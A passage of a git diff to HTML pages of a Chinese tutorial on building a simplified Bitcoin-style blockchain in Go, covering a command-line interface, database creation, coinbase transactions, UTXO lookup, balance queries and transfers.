    -        fmt.Printf("MerkleRoot : %x\n", block.MerkleRoot)
    -        fmt.Printf("TimeStamp : %d\n", block.TimeStamp)
    -        fmt.Printf("Difficuty : %d\n", block.Difficuty)
    -        fmt.Printf("Nonce : %d\n", block.Nonce)
    -        fmt.Printf("Data : %s\n", block.Data)
    +        fmt.Println(" ============== =============")
    +        fmt.Printf("Version : %d\n", block.Version)
    +        fmt.Printf("PrevBlockHash : %x\n", block.PrevBlockHash)
    +        fmt.Printf("Hash : %x\n", block.Hash)
    +        fmt.Printf("MerkleRoot : %x\n", block.MerkleRoot)
    +        fmt.Printf("TimeStamp : %d\n", block.TimeStamp)
    +        fmt.Printf("Difficuty : %d\n", block.Difficuty)
    +        fmt.Printf("Nonce : %d\n", block.Nonce)
    +        fmt.Printf("Data : %s\n", block.Data)
             pow := NewProofOfWork(block)
    -        fmt.Printf("IsValid : %v\n", pow.IsValid())
    +        fmt.Printf("IsValid : %v\n", pow.IsValid())
     
     
    -        if len(block.PrevBlockHash)  == 0 {
    -            fmt.Println("print over!")
    -            break
    +        if len(block.PrevBlockHash)  == 0 {
    +            fmt.Println("print over!")
    +            break
             }
         }
     }
     

    修改main.go如下,主函数只做基本的调用,其余的都由命令行类进行调度即可,这符合模块化编程。

    -
    package main
    +
    package main
     
    -func main() {
    +func main() {
         bc := NewBlockChain()
         cli := CLI{bc}
         cli.Run()
    @@ -3697,11 +3693,11 @@ 

    九、第三次测试

    如果数据库文件不存在,程序会先进行数据库创建,即进行一次挖矿,如下:

     duke ~/Desktop/code/v3$  ./block 
    -target : 100000000000000000000000000000000000000000000000000000000000
    -found hash : 00000ae80985ec5ab56873dc5d4efd978a8b418cd50eee17584dda087632fe5f, 62170
    +target : 100000000000000000000000000000000000000000000000000000000000
    +found hash : 00000ae80985ec5ab56873dc5d4efd978a8b418cd50eee17584dda087632fe5f, 62170
     
    -        addBlock --data DATA "add a block"
    -        printChain "print block Chain"
    +        addBlock --data DATA "add a block"
    +        printChain "print block Chain"
     

    ==我们后面会把创建数据库操作也放到命令中去控制。==

    1. 命令测试

    @@ -3717,128 +3713,179 @@

    十、添加创建数据库命令

    如果想实现用命令行创建数据库,那么这两个必须分开成两个函数,分别实现上述的两个功能

    1. 创建区块链函数NewBlockChain

    只负责创建,然后便退出程序。

    -
    //- 提供一个创建BlockChain的方法
    -func NewBlockChain(address string) *BlockChain {  //<
    +
    //- 提供一个创建BlockChain的方法
    +func NewBlockChain(address string) *BlockChain {  //<<---添加了创建人的地址,后面会用到
    +    var lastHash []byte
    +
    +    db, err := bolt.Open(blockChainDb, 0600, nil)
    +
    +    if err != nil {
    +        fmt.Println("bolt.Open failed!", err)
    +        os.Exit(1)
    +    }
    +
    +    db.Update(func(tx *bolt.Tx) error {
    +        bucket := tx.Bucket([]byte(blockBucket))
    +
    +        var err error
    +        bucket, err = tx.CreateBucket([]byte(blockBucket))
    +        if err != nil {
    +            fmt.Println("createBucket failed!", err)
    +            os.Exit(1)
    +        }
    +
    +        //抽屉准备好了,开始写区块数据,区块哪里来??
    +        genesisBlock := NewBlock("Genesis Block!!!", []byte{})
    +
    +        bucket.Put(genesisBlock.Hash, genesisBlock.Serialize() /*block的字节流!*/)
    +        bucket.Put([]byte(last), genesisBlock.Hash)
    +
    +        //这个哈希此时是没有用的
    +        lastHash = genesisBlock.Hash
    +        return nil
    +    })
    +
    +    //还是要返回一个实例,便于关闭数据库
    +    return &BlockChain{db, lastHash}
    +}
    +

    2. 获取区块链对象的函数

    函数名字为:GetBlockChainObj调用这个方法时,确保区块链已经创建

    -
    //获取一个区块链实例
    -func GetBlockChainObj() *BlockChain {
    +
    //获取一个区块链实例
    +func GetBlockChainObj() *BlockChain {
     
    -    var lastHash []byte
    -    db, err := bolt.Open(blockChainDb, 0600, nil)
    +    var lastHash []byte
    +    db, err := bolt.Open(blockChainDb, 0600, nil)
     
    -    if err != nil {
    -        fmt.Println("bolt.Open failed!", err)
    -        os.Exit(1)
    +    if err != nil {
    +        fmt.Println("bolt.Open failed!", err)
    +        os.Exit(1)
         }
     
    -    db.View(func(tx *bolt.Tx) error {
    -        bucket := tx.Bucket([]byte(blockBucket))
    +    db.View(func(tx *bolt.Tx) error {
    +        bucket := tx.Bucket([]byte(blockBucket))
     
    -        var err error
    -        if bucket == nil {
    -            fmt.Println("bucket should not be nil!", err)
    -            os.Exit(1)
    +        var err error
    +        if bucket == nil {
    +            fmt.Println("bucket should not be nil!", err)
    +            os.Exit(1)
     
             }
     
    -        //抽屉已经存在,直接读取即可
    -        //获取最后一个区块的哈希
    -        lastHash = bucket.Get([]byte(last))
    -        return nil
    +        //抽屉已经存在,直接读取即可
    +        //获取最后一个区块的哈希
    +        lastHash = bucket.Get([]byte(last))
    +        return nil
         })
     
    -    return &BlockChain{db, lastHash}
    +    return &BlockChain{db, lastHash}
     }
     

    3. 添加数据库文件检查函数

    如果文件存在就不用创建,如果文件未创建请先创建。

    -
    func dbExists() bool {
    -    if _, err := os.Stat(blockChainDb); os.IsNotExist(err) {
    -        return false
    +
    func dbExists() bool {
    +    if _, err := os.Stat(blockChainDb); os.IsNotExist(err) {
    +        return false
         }
     
    -    return true
    +    return true
     }
     

    在NewBlockChain中添加代码:

    -
    func NewBlockChain(address string) *BlockChain {
    -    var lastHash []byte
    +
    func NewBlockChain(address string) *BlockChain {
    +    var lastHash []byte
    +
    +    if dbExists() {   //<---这里
    +        fmt.Println("blockchain already exist!")
    +        os.Exit(1)
    +    }
     
    -    if dbExists() {   //
    + db, err := bolt.Open(blockChainDb, 0600, nil) + ... +

    在GetBlockChainObj中添加代码:

    -
    func GetBlockChainObj() *BlockChain {
    +
    func GetBlockChainObj() *BlockChain {
    +
    +    var lastHash []byte
     
    -    var lastHash []byte
    +    if !dbExists() {  //<---这里
    +        fmt.Println("blockchain not exist, pls create first!")
    +        os.Exit(1)
    +    }
     
    -    if !dbExists() {  //
    + db, err := bolt.Open(blockChainDb, 0600, nil) +

    4.修改CLI结构

    切换到commandLine.go文件

    对象无需传递进来,使用一个创建方法提供。

    -
    type CLI struct {
    -   //bc *BlockChain
    +
    type CLI struct {
    +   //bc *BlockChain
     }
     

    更新Usage

    -
    const Usage = `
    -    createBlockChain --address ADDRESS "create a blockchian" //
    +
    const Usage = `
    +    createBlockChain --address ADDRESS "create a blockchian" //<--这里
    +    addBlock --data DATA "add a block"
    +    printChain "print block Chain"
    +`
    +

    添加创建逻辑

    -
    func (cli *CLI)CreateBlockChain(address string) {
    +
    func (cli *CLI)CreateBlockChain(address string) {
         bc := NewBlockChain(address)
         err := bc.db.Close()
     
    -    if err != nil {
    -        //删除数据库
    -        if dbExists() {
    +    if err != nil {
    +        //删除数据库
    +        if dbExists() {
                 os.Remove(blockChainDb)
             }
    -        fmt.Println("create blockchain failed!")
    +        fmt.Println("create blockchain failed!")
         }
     
    -    fmt.Println("create blockchain successfully!")
    +    fmt.Println("create blockchain successfully!")
     }
     

    在switch中添加调用

    -
        switch cmd {
    -    case "createBlockChain":
    -        if len(os.Args) > 3 && os.Args[2] == "--address" {
    -            address := os.Args[3]
    -            if address == "" {
    -                fmt.Println("address should not be empty!")
    -                os.Exit(1)
    +
        switch cmd {
    +    case "createBlockChain":
    +        if len(os.Args) > 3 && os.Args[2] == "--address" {
    +            address := os.Args[3]
    +            if address == "" {
    +                fmt.Println("address should not be empty!")
    +                os.Exit(1)
                 }
                 cli.CreateBlockChain(address)
    -        } else {
    +        } else {
                 fmt.Println(Usage)
             }
    -    case "addBlock":
    +    case "addBlock":
     

    更新AddBlock命令

    此时需要我们调用GetBlockChainObj获取区块链对象

    -
    func (cli *CLI)addBlock(data string)  {
    -    //cli.bc.AddBlock(data)
    +
    func (cli *CLI)addBlock(data string)  {
    +    //cli.bc.AddBlock(data)
         bc := GetBlockChainObj()
         bc.AddBlock(data)
         bc.db.Close()
    -    fmt.Println("add block successfully: ", data)
    +    fmt.Println("add block successfully: ", data)
     }
     

    同理,更新printChain函数

    -
    func (cli *CLI)printChain()  {
    +
    func (cli *CLI)printChain()  {
     
    -    //定义迭代器
    -    //it := NewBlockChainIterator(cli.bc)
    +    //定义迭代器
    +    //it := NewBlockChainIterator(cli.bc)
         bc := GetBlockChainObj()
         it := NewBlockChainIterator(bc)
    -    for {
    +    for {
             ...
     

    修改main.go文件如下

    -
    package main
    +
    package main
     
    -func main() {
    -    //bc := NewBlockChain()
    -    //cli := CLI{bc}
    +func main() {
    +    //bc := NewBlockChain()
    +    //cli := CLI{bc}
         cli := CLI{}
         cli.Run()
     
    @@ -3885,7 +3932,7 @@

    十三、下节预告

    @@ -3971,14 +4018,6 @@

    十三、下节预告

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day3-01-\344\272\244\346\230\223\345\216\237\347\220\206.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day3-01-\344\272\244\346\230\223\345\216\237\347\220\206.html" index 8ce55ab1..98d0a487 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day3-01-\344\272\244\346\230\223\345\216\237\347\220\206.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day3-01-\344\272\244\346\230\223\345\216\237\347\220\206.html" @@ -36,10 +36,6 @@ - - - - @@ -3091,8 +3087,8 @@

    - 输出产生流程

    - 真实的锁定脚本

    锁定脚本:给我收款人的地址,我用这个人公钥进行锁定

    解锁脚本:提供支付人的私钥签名(公钥)

    -
    OP_DUP OP_HASH160  OP_EQUALVERIFY OP_CHECKSIG
    -
    +
    OP_DUP OP_HASH160 <Cafe Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
    +

    image-20221108134334924

    参考链接

    3. 交易输入(input)如何产生

    @@ -3114,8 +3110,8 @@

    3. 交易输入(input)如何产生

    0.5btc给⾃⼰。也就是说:这笔交易中,有两个input和两个output。

    image-20221108134506696

    真实的解锁脚本如下,我们后面再做介绍:

    -
     
    -

    image-20221108134555962

    +
    <Cafe Signature> <Cafe Public Key>
    +

    image-20221108134555962

    完整校验脚本(了解即可)

    把真正的脚本贴到画板中对比

    @@ -3213,7 +3209,7 @@

    - 使用一笔交易创建多个 @@ -3299,14 +3295,6 @@

    - 使用一笔交易创建多个 - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day3-02-v4\344\275\231\351\242\235.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day3-02-v4\344\275\231\351\242\235.html" index 0c047e61..3e5aef08 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day3-02-v4\344\275\231\351\242\235.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day3-02-v4\344\275\231\351\242\235.html" @@ -36,10 +36,6 @@ - - - - @@ -3073,15 +3069,15 @@

    1. 交易输入(TXInput)

  • 所消费utxo在output中的索引
  • 解锁脚本
  • -
    type TXInput struct {
    -    //引用output所在交易ID
    -    TXID []byte
    +
    type TXInput struct {
    +    //引用output所在交易ID
    +    TXID []byte
     
    -    //应用output的索引值
    -    VoutIndex int64
    +    //应用output的索引值
    +    VoutIndex int64
     
    -    //解锁脚本
    -    ScriptSig string
    +    //解锁脚本
    +    ScriptSig string
     }
     

    2. 交易输出(TXOutput)

    @@ -3093,30 +3089,30 @@

    2. 交易输出(TXOutput)

    ==易错点:经常把Value写成小写字母开头的==,这样会无法写入数据库,切记!

    -
    type TXOutput struct {
    -    //接收的金额
    -    Value float64
    +
    type TXOutput struct {
    +    //接收的金额
    +    Value float64
     
    -    //锁定脚本
    -    ScriptPubKey string
    +    //锁定脚本
    +    ScriptPubKey string
     }
     

    3. 交易结构

    -
    type Transaction struct {
    -    //交易ID
    -    TXID []byte
    +
    type Transaction struct {
    +    //交易ID
    +    TXID []byte
     
    -    //交易输入,可能是多个
    +    //交易输入,可能是多个
         TXInputs []TXInput
     
    -    //交易输出,可能是多个
    +    //交易输出,可能是多个
         TXOutputs []TXOutput
     }
     

    4. 设置交易ID方法

    -
    //设置交易哈希
    -func (tx *Transaction) setHash() {
    -    var buffer bytes.Buffer
    +
    //设置交易哈希
    +func (tx *Transaction) setHash() {
    +    var buffer bytes.Buffer
     
         encoder := gob.NewEncoder(&buffer)
         encoder.Encode(tx)
    @@ -3130,21 +3126,21 @@ 

    4. 设置交易ID方法

    二、创建Coinbase交易

    coinbase总是新区块的第一条交易,这条交易中只有一个输出,即对矿工的奖励,没有输入。

    -
    //address 是矿工地址,data是矿工自定义的附加信息
    -func NewCoinbaseTX(address string, data string) *Transaction {
    +
    //address 是矿工地址,data是矿工自定义的附加信息
    +func NewCoinbaseTX(address string, data string) *Transaction {
     
    -    if data == "" {
    -        data = fmt.Sprintf("reward %s %f\n", address, reward)
    +    if data == "" {
    +        data = fmt.Sprintf("reward %s %f\n", address, reward)
         }
     
    -    //比特币系统,对于这个input的id填0,对索引填0xffff,data由矿工填写,一般填所在矿池的名字
    -    input := TXInput{nil, -1, data}
    +    //比特币系统,对于这个input的id填0,对索引填0xffff,data由矿工填写,一般填所在矿池的名字
    +    input := TXInput{nil, -1, data}
         output := TXOutput{reward, address}
     
    -    txTmp := Transaction{nil, []TXInput{input}, []TXOutput{output}}
    +    txTmp := Transaction{nil, []TXInput{input}, []TXOutput{output}}
         txTmp.setHash()
     
    -    return &txTmp
    +    return &txTmp
     }
     

    中本聪在创世块中添加信息:

    @@ -3157,46 +3153,100 @@

    二、创建Coinbase交易

    三、根据Transaction调整代码

    1. block改写

    使用交易数组代替Data,代码如下:

    -
    type Block struct {
    -//区块头:
    -    //比特币网络的版本号
    -    Version uint64
    -    //当前区块的哈希,注意,这是为了方便写代码而加入的。比特币不在区块中存储当前区块的哈希值
    -    Hash []byte
    -    //前区块的哈希值,用于连接链条
    -    PrevBlockHash []byte
    -    //梅克尔根,用于快速校验区块,校验区块的完整性。
    -    MerkleRoot []byte
    -    //时间戳,表示区块创建的时间
    -    TimeStamp uint64
    -    //难度值,调整挖矿难度
    -    Difficuty uint64
    -    //随机值,挖矿需要求的数字
    -    Nonce uint64
    -
    -//区块体:
    -    //区块数据
    -    //Data []byte
    -    Transactions []*Transaction  //这里
    +
    type Block struct {
    +//区块头:
    +    //比特币网络的版本号
    +    Version uint64
    +    //当前区块的哈希,注意,这是为了方便写代码而加入的。比特币不在区块中存储当前区块的哈希值
    +    Hash []byte
    +    //前区块的哈希值,用于连接链条
    +    PrevBlockHash []byte
    +    //梅克尔根,用于快速校验区块,校验区块的完整性。
    +    MerkleRoot []byte
    +    //时间戳,表示区块创建的时间
    +    TimeStamp uint64
    +    //难度值,调整挖矿难度
    +    Difficuty uint64
    +    //随机值,挖矿需要求的数字
    +    Nonce uint64
    +
    +//区块体:
    +    //区块数据
    +    //Data []byte
    +    Transactions []*Transaction  //这里<------------
    +}
    +

    2. NewBlock改写

    -
    func NewBlock(txs []*Transaction, prevHash []byte) Block {  //这里
    +
    func NewBlock(txs []*Transaction, prevHash []byte) Block {  //这里<------------
    +    var block Block
    +    block = Block{
    +        Version:       0,
    +        PrevBlockHash: prevHash,
    +        //Hash:          []byte{},
    +        MerkleRoot:    []byte{},
    +        TimeStamp:     uint64(time.Now().Unix()),
    +        Difficuty:     10,
    +        Nonce:         10,
    +        Transactions:txs}  //这里修改 <---------------
    +
    +    pow := NewProofOfWork(block)
    +    hash, nonce := pow.Run()
    +    block.Hash = hash
    +    block.Nonce = nonce
    +
    +    return block
    +}
    +

    3. NewBlockChain改写

    -
    //中本聪在创世块中保存的信息
    -const genesisInfo = "The Times 03/Jan/2009 Chancellor on brink of second bailout for banks"
    +
    //中本聪在创世块中保存的信息
    +const genesisInfo = "The Times 03/Jan/2009 Chancellor on brink of second bailout for banks"
     
    -//- 提供一个创建BlockChain的方法
    -func NewBlockChain(address string) *BlockChain { //
    +//- 提供一个创建BlockChain的方法 +func NewBlockChain(address string) *BlockChain { //<------这里修改 + var lastHash []byte + + ... + + db.Update(func(tx *bolt.Tx) error { + bucket := tx.Bucket([]byte(blockBucket)) + ... + //创建coinbase交易 <---这里修改 + coinbaseTx := NewCoinbaseTX(address, genesisInfo) + //创建创世块 <---这里修改 + genesisBlock := NewBlock([]*Transaction{coinbaseTx}, []byte{}) + ... + } +} +

    4. AddBlock改写

    -
    func (bc *BlockChain)AddBlock(txs []*Transaction)  {
    +
    func (bc *BlockChain)AddBlock(txs []*Transaction)  {
         ...
     
    -    //创建新区块
    -    newBlock := NewBlock(txs, lastBlockHash) //
    + //创建新区块 + newBlock := NewBlock(txs, lastBlockHash) //<----修改这里 + ... +} +

    5.修改prepareData函数

    在ProofOfWork.go文件中,

    -
    func (pow *ProofOfWork) prepareData(num uint64) []byte {
    +
    func (pow *ProofOfWork) prepareData(num uint64) []byte {
         block := pow.block
    -    block.MerkleRoot = block.HashTransactions() //
    + block.MerkleRoot = block.HashTransactions() //<----这里修改了 + tmp := [][]byte{ + uintToByte(block.Version), + block.PrevBlockHash, + //block.Hash, + block.MerkleRoot, + uintToByte(block.TimeStamp), + uintToByte(block.Difficuty), + uintToByte(num)} + + //block.Data} //<----这里修改了 + + data := bytes.Join(tmp, []byte{}) + return data +} +
    • ==在比特币中,其实是对区块头进行哈希运算,而不是对区块整体进行哈希运算。==

    • @@ -3205,18 +3255,18 @@

      5.修改prepareData函数

    6. HashTransaction函数实现

    这个函数是为了生成Merkel Tree Root哈希值,正常的生成过程是使用所有交易的哈希值生成一个平衡二叉树,此处,为了简化代码,我们目前直接将区块中交易的哈希值进行拼接后进行哈希操作即可。

    -
    func (block *Block)HashTransactions() []byte {
    +
    func (block *Block)HashTransactions() []byte {
     
    -    var tmp [][]byte
    -    for _, tx := range block.Transactions{
    -        //交易的ID就是交易的哈希值,还记得吗?我们在Transaction里面提供了方法。
    -        tmp = append(tmp, tx.TXID)
    +    var tmp [][]byte
    +    for _, tx := range block.Transactions{
    +        //交易的ID就是交易的哈希值,还记得吗?我们在Transaction里面提供了方法。
    +        tmp = append(tmp, tx.TXID)
         }
     
    -    data := bytes.Join(tmp, []byte{})
    +    data := bytes.Join(tmp, []byte{})
         hash := sha256.Sum256(data)
     
    -    return hash[:]
    +    return hash[:]
     }
     

    7.修改commandLine.go文件

    @@ -3250,77 +3300,77 @@

    1.解锁脚本

    解锁脚本是检验input是否可以使用由某个地址锁定的utxo,所以对于解锁脚本来说,是外部提供锁定信息,我去检查一下能否解开它。

    我们没有涉及到真实的非对称加密,所以使用字符串来代替加密和签名数据。即使用地址进行加密,同时使用地址当做签名,通过对比字符串来确定utxo能否解开。

    在transaction.go中,添加解锁脚本如下:

    -
    func (input *TXInput) CanUnlockUTXOWith(unlockData string /*收款人的地址*/) bool {
    -    //ScriptSig是签名,v4版本中使用付款人的地址填充
    -    return input.ScriptSig == unlockData
    +
    func (input *TXInput) CanUnlockUTXOWith(unlockData string /*收款人的地址*/) bool {
    +    //ScriptSig是签名,v4版本中使用付款人的地址填充
    +    return input.ScriptSig == unlockData
     }
     

    2.锁定脚本

    同样的,锁定脚本是用于指定比特币的新主人,在创建output时创建。对于这个output来说,它应该是一直在等待一个签名的到来,检查这个签名能否解开自己锁定的比特币。

    -
    func (output *TXOutput) CanBeUnlockedWith(unlockData string/*付款人的地址(签名)*/) bool {
    -    //ScriptPubKey是锁定信息,v4版本中使用收款人的地址填充
    -    return output.ScriptPubKey == unlockData
    +
    func (output *TXOutput) CanBeUnlockedWith(unlockData string/*付款人的地址(签名)*/) bool {
    +    //ScriptPubKey是锁定信息,v4版本中使用收款人的地址填充
    +    return output.ScriptPubKey == unlockData
     }
     

    3.获取指定地址的UTXO的交易集合

    我们的比特币都在UTXO中,UTXO又包含在交易中,所以如果想知道我们可以支配的UTXO,必须找到这些UTXO所在的交易,每个人有N个UTXO,所以我们需要找到所有的交易,也就是说,应该找到包含UTXO的交易的集合。

    ==这是一个核心函数==,代码如下:

    
    -//返回指定地址能够支配的utxo所在的交易的集合
    -func (bc *BlockChain) FindUTXOTransactions(address string) [] Transaction {
    +//返回指定地址能够支配的utxo所在的交易的集合
    +func (bc *BlockChain) FindUTXOTransactions(address string) [] Transaction {
     
    -    var transactions []Transaction
    +    var transactions []Transaction
     
    -    spentUTXOs := make(map[string][]int64)
    +    spentUTXOs := make(map[string][]int64)
         it := bc.NewIterator()
     
    -    for {
    -        //遍历区块
    +    for {
    +        //遍历区块
             block := it.Next()
     
    -        //遍历交易
    -        for _, tx := range block.Transactions {
    +        //遍历交易
    +        for _, tx := range block.Transactions {
     
             OUTPUTS:
    -        //遍历outputs
    -            for currentIndex, output := range tx.TXOutputs {
    -                //过滤已经消耗过得utxo
    -                if spentUTXOs[string(tx.TXID)] != nil {
    -                    //交易id非空, 意味着在交易里面有消耗的utxo
    -                    indexs := spentUTXOs[string(tx.TXID)]
    -
    -                    for _, index := range indexs {
    -                        if int64(currentIndex) == index {
    -                            continue OUTPUTS
    +        //遍历outputs
    +            for currentIndex, output := range tx.TXOutputs {
    +                //过滤已经消耗过得utxo
    +                if spentUTXOs[string(tx.TXID)] != nil {
    +                    //交易id非空, 意味着在交易里面有消耗的utxo
    +                    indexs := spentUTXOs[string(tx.TXID)]
    +
    +                    for _, index := range indexs {
    +                        if int64(currentIndex) == index {
    +                            continue OUTPUTS
                             }
                         }
                     }
     
    -                if output.CanBeUnlockedWith(address) {
    -                    transactions = append(transactions, *tx)
    +                if output.CanBeUnlockedWith(address) {
    +                    transactions = append(transactions, *tx)
                     }
                 }
     
    -            //遍历inputs
    -            if !tx.IsCoinbase() {
    -                for _, input := range tx.TXInputs {
    -                    //检查一下当前的inputs是否和地址有关,能否解开
    -                    //看看当前花费的这个input是不是和指定的地址有关,如果有关,要记录下来,
    -                    //这样遍历前面的交易时,就不会再对这个引用的output重复统计了。
    -                    if input.CanUnlockUTXOWith(address) {
    -                        spentUTXOs[string(input.TXID)] = append(spentUTXOs[string(input.TXID)], input.VoutIndex)
    -                        //map[0x000000] = []int64{0}
    -                        //map[0x111111] = []int64{2,5}
    -                        //map[0xnnnnnn] = []int64{3}
    +            //遍历inputs
    +            if !tx.IsCoinbase() {
    +                for _, input := range tx.TXInputs {
    +                    //检查一下当前的inputs是否和地址有关,能否解开
    +                    //看看当前花费的这个input是不是和指定的地址有关,如果有关,要记录下来,
    +                    //这样遍历前面的交易时,就不会再对这个引用的output重复统计了。
    +                    if input.CanUnlockUTXOWith(address) {
    +                        spentUTXOs[string(input.TXID)] = append(spentUTXOs[string(input.TXID)], input.VoutIndex)
    +                        //map[0x000000] = []int64{0}
    +                        //map[0x111111] = []int64{2,5}
    +                        //map[0xnnnnnn] = []int64{3}
                         }
                     }
                 }
    -        if len(block.PrevBlockHash) == 0 {
    -            break
    +        if len(block.PrevBlockHash) == 0 {
    +            break
             }
             }
         }
    -    return transactions
    +    return transactions
     }
     

    分析一个示例(跟着代码流程走):

    @@ -3330,69 +3380,69 @@

    3.获取指定地址的UTXO

    4.IsCoinbase函数实现

    根据coinbase的特点进行判断,请参考签名NewCoinbase函数

    -
    func NewCoinbaseTX(address string, data string) *Transaction {
    +
    func NewCoinbaseTX(address string, data string) *Transaction {
         ...
    -    input := TXInput{nil, -1, data}
    +    input := TXInput{nil, -1, data}
         ...
     }
     

    具体实现:

    -
    func (tx *Transaction) IsCoinbase() bool {
    -    if len(tx.TXInputs) == 1 {
    -        if tx.TXInputs[0].TXID == nil && tx.TXInputs[0].VoutIndex == -1 {
    -            return true
    +
    func (tx *Transaction) IsCoinbase() bool {
    +    if len(tx.TXInputs) == 1 {
    +        if tx.TXInputs[0].TXID == nil && tx.TXInputs[0].VoutIndex == -1 {
    +            return true
             }
         }
    -    return false
    +    return false
     }
     

    5.获取指定地址的UTXO的集合

    我们已经获取到了所有的交易集合,那么utxo集合便非常容易获取,只需要遍历交易即可。

    -
    //返回指定地址能够支配的utxo的集合
    -func (bc *BlockChain) FindUTXOs(address string) []TXOutput {
    +
    //返回指定地址能够支配的utxo的集合
    +func (bc *BlockChain) FindUTXOs(address string) []TXOutput {
         txs := bc.FindUTXOTransactions(address)
     
    -    var utxos []TXOutput
    -    for _, tx := range txs {
    -        for _, output := range tx.TXOutputs {
    -            //找到自己能解锁的output
    -            if output.CanBeUnlockedWith(address) {
    -                utxos = append(utxos, output)
    +    var utxos []TXOutput
    +    for _, tx := range txs {
    +        for _, output := range tx.TXOutputs {
    +            //找到自己能解锁的output
    +            if output.CanBeUnlockedWith(address) {
    +                utxos = append(utxos, output)
                 }
             }
         }
     
    -    return utxos
    +    return utxos
     }
     

    6.获取余额

    我们说过,比特币是没有余额概念的,所以这个属于钱包的功能,我们把它放到CLI中去实现。

    此时只需要遍历UTXO,然后累计里面的value字段的值即可。

    在commandLine.go中添加如下代码:

    -
    func (cli *CLI)GetBalance(address string)  {
    +
    func (cli *CLI)GetBalance(address string)  {
         bc := GetBlockChainObj()
    -    defer bc.db.Close()
    +    defer bc.db.Close()
     
         utxos := bc.FindUTXOs(address)
     
    -    var total float64
    -    for _, utxo := range utxos{
    +    var total float64
    +    for _, utxo := range utxos{
             total += utxo.Value
         }
     
    -    fmt.Printf("The balance of %s is : %f\n", address, total)
    +    fmt.Printf("The balance of %s is : %f\n", address, total)
     }
     

    添加getBalance命令如下:

    -
        case "getBalance":
    -        if len(os.Args) > 3 && os.Args[2] == "--address" {
    -            address := os.Args[3]
    -            if address == "" {
    -                fmt.Println("address should not be empty!")
    -                os.Exit(1)
    +
        case "getBalance":
    +        if len(os.Args) > 3 && os.Args[2] == "--address" {
    +            address := os.Args[3]
    +            if address == "" {
    +                fmt.Println("address should not be empty!")
    +                os.Exit(1)
                 }
                 cli.GetBalance(address)
    -        } else {
    +        } else {
                 fmt.Println(Usage)
             }
     
    @@ -3406,26 +3456,26 @@

    七、创建交易(转账)

    到目前为止,我们已经完成了70%的工作,接下来就是实现核心功能--转账

    我们的AddBlock命令一直是被注释的状态,接下来就要把它重新用起来。

    转账通过交易,所以我们要完成交易的创建,前面已经实现过一个交易,即挖矿奖励交易Coinbase,我们回顾一下,

    -
    //address 是矿工地址,data是矿工自定义的附加信息
    -func NewCoinbaseTX(address string, data string) *Transaction {
    +
    //address 是矿工地址,data是矿工自定义的附加信息
    +func NewCoinbaseTX(address string, data string) *Transaction {
     
    -    if data == "" {
    -        data = fmt.Sprintf("reward %s %f\n", address, reward)
    +    if data == "" {
    +        data = fmt.Sprintf("reward %s %f\n", address, reward)
         }
     
    -    //比特币系统,对于这个input的id填0,对索引填0xffff,data由矿工填写,一般填所在矿池的名字
    -    input := TXInput{nil, -1, data}
    +    //比特币系统,对于这个input的id填0,对索引填0xffff,data由矿工填写,一般填所在矿池的名字
    +    input := TXInput{nil, -1, data}
         output := TXOutput{reward, address}
     
    -    txTmp := Transaction{nil, []TXInput{input}, []TXOutput{output}}
    +    txTmp := Transaction{nil, []TXInput{input}, []TXOutput{output}}
         txTmp.setHash()
     
    -    return &txTmp
    +    return &txTmp
     }
     

    这个交易十分特殊,没有输入,只有输出,而我们真实的交易一定有输入输出,以及输出金额,所以我们的原型定义如下:

    -
    func NewTransaction(from, to string, amount float64, bc *BlockChain) *Transaction {
    -    //TODO
    +
    func NewTransaction(from, to string, amount float64, bc *BlockChain) *Transaction {
    +    //TODO
     }
     

    from:付款人

    @@ -3434,45 +3484,45 @@

    七、创建交易(转账)

    bc:区块链本身

    1. 普通交易创建

    在transaction.go中添加如下代码:

    -
    func NewTransaction(from, to string, amount float64, bc *BlockChain) *Transaction {
    +
    func NewTransaction(from, to string, amount float64, bc *BlockChain) *Transaction {
     
    -    //map[txid][]int64
    -    validUTXOs := make(map[string][]int64)
    -    var total float64
    +    //map[txid][]int64
    +    validUTXOs := make(map[string][]int64)
    +    var total float64
     
    -    //第一部分,找到所需要的UTXO的集合
    -    validUTXOs /*本次支付所需要的utxo的集合*/ , total /*返回utxos所包含的金额*/ = bc.FindSuitableUTXOs(from, amount)
    +    //第一部分,找到所需要的UTXO的集合
    +    validUTXOs /*本次支付所需要的utxo的集合*/ , total /*返回utxos所包含的金额*/ = bc.FindSuitableUTXOs(from, amount)
     
    -    if total < amount {
    -        fmt.Println("Money is not enough!!!")
    -        os.Exit(1)
    +    if total < amount {
    +        fmt.Println("Money is not enough!!!")
    +        os.Exit(1)
         }
     
    -    //将返回的utxo转换成input
    -    var inputs []TXInput
    -    var outputs []TXOutput
    +    //将返回的utxo转换成input
    +    var inputs []TXInput
    +    var outputs []TXOutput
     
    -    //第二部分,input的创建
    -    for txid, indexs := range validUTXOs{
    -        for _, index := range indexs{
    -            input := TXInput{[]byte(txid), index, from}
    -            inputs = append(inputs, input)
    +    //第二部分,input的创建
    +    for txid, indexs := range validUTXOs{
    +        for _, index := range indexs{
    +            input := TXInput{[]byte(txid), index, from}
    +            inputs = append(inputs, input)
             }
         }
     
    -    //第三部分,output的创建
    +    //第三部分,output的创建
         output := TXOutput{amount, to}
     
    -    outputs = append(outputs, output)
    +    outputs = append(outputs, output)
     
    -    if total > amount {
    -        outputs = append(outputs, TXOutput{total-amount, from})
    +    if total > amount {
    +        outputs = append(outputs, TXOutput{total-amount, from})
         }
     
    -    txTmp := Transaction{nil, inputs, outputs}
    +    txTmp := Transaction{nil, inputs, outputs}
         txTmp.setHash()
     
    -    return &txTmp
    +    return &txTmp
     }
     

    这个函数分为三个部分,

    @@ -3483,31 +3533,31 @@

    1. 普通交易创建

    2.辅助函数FindSuitableUTXOs

    在blockChain.go文件中,添加如下代码:

    -
    func (bc *BlockChain) FindSuitableUTXOs(address string, amount float64) (map[string][]int64, float64) {
    +
